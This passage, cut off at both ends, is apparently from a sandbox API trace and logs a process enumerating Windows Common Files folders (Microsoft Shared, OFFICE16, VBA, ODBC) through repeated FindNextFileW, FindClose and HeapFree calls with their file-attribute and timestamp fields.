lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0080.405] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0080.406] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.407] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0080.407] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0080.407] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.408] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0080.408] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0080.408] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.408] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1 [0080.408] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.408] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0 [0080.409] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0080.409] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.409] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1 [0080.409] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0080.409] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0080.409] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0080.409] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.409] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1 [0080.409] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.409] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0080.409] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0080.410] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.410] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0 [0080.410] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0080.410] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0080.460] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1 [0080.756] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.756] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0080.758] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.758] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0080.759] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.759] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0080.759] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.759] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0080.759] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.759] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0080.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.760] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0080.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.760] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0080.761] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.761] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0080.761] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0080.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0080.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0080.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0 [0080.762] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0080.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.763] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0080.766] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.766] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0080.767] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.767] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0080.767] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.768] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0080.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.768] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0080.769] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.769] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0080.769] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.769] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0080.769] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.769] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1 [0080.772] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.772] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0080.772] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0080.773] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.773] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0080.773] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0080.773] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.774] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0080.776] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.776] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0080.776] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0080.777] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.777] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0080.777] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0080.777] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.778] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0080.778] FindClose (in: hFindFile=0x5830c8 | out: hFindFile=0x5830c8) returned 1 [0080.778] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.778] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, 